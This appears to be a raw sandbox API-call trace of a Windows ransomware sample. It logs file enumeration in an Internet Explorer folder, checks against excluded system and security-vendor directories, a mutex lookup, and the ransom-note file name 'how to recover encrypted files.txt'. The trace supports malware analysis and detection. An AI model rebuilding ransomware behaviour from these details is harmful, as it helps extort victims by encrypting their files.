ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0058.928] GetLastError () returned 0x2 [0058.928] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.928] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.928] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0058.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@羼R企@\x18?T\x18\x88")) returned 0xffffffff [0058.930] GetLastError () returned 0x2 [0058.930] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.930] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.930] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0058.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@缤R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.931] GetLastError () returned 0x2 [0058.932] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.932] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.932] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0058.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0058.933] GetLastError () returned 0x2 [0058.933] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.933] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.934] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.934] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.934] GlobalUnlock (hMem=0x44000c) returned 0 [0058.934] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.934] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.934] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.934] GlobalUnlock (hMem=0x44000c) returned 0 [0058.934] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.934] GlobalUnlock (hMem=0x440004) returned 0 [0058.934] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.934] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.934] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.934] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.934] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.934] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 46 [0058.934] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.934] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.934] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 15 [0058.935] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.935] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.935] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 11 [0058.935] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.935] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.935] GlobalUnlock (hMem=0x440004) returned 0 [0058.935] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.935] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.935] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.935] GlobalUnlock (hMem=0x440004) returned 0 [0058.935] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.935] GlobalUnlock (hMem=0x44000c) returned 0 [0058.935] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.935] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 15 [0058.935] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.935] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 11 [0058.936] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.936] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 9 [0058.936] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.936] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 18 [0058.936] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.936] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 28 [0058.936] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.936] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 10 [0058.937] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 8 [0058.937] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 9 [0058.937] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 13 [0058.937] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.937] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.937] GlobalUnlock (hMem=0x44000c) returned 0 [0058.937] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.937] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.937] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.937] GlobalUnlock (hMem=0x44000c) returned 0 [0058.937] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.937] GlobalUnlock (hMem=0x440004) returned 0 [0058.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0058.938] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.938] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0058.938] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0058.938] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.938] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.938] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.938] GlobalUnlock (hMem=0x440004) returned 0 [0058.938] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.939] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.939] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.939] GlobalUnlock (hMem=0x440004) returned 0 [0058.939] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.939] GlobalUnlock (hMem=0x44000c) returned 0 [0058.939] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.939] CharLowerBuffW (in: lpsz="hmmapi.dll.mui", cchLength=0xe | out: lpsz="hmmapi.dll.mui") returned 0xe [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui", cchWideChar=55, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui", lpUsedDefaultChar=0x0) returned 55 [0058.940] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\hmmapi.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0058.940] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0058.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.940] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.940] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.940] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.940] GlobalUnlock (hMem=0x44000c) returned 0 [0058.940] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.940] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.940] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.940] GlobalUnlock (hMem=0x44000c) returned 0 [0058.940] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.940] GlobalUnlock (hMem=0x440004) returned 0 [0058.940] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.940] CharLowerBuffW (in: lpsz="iedvtool.dll.mui", cchLength=0x10 | out: lpsz="iedvtool.dll.mui") returned 0x10 [0058.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 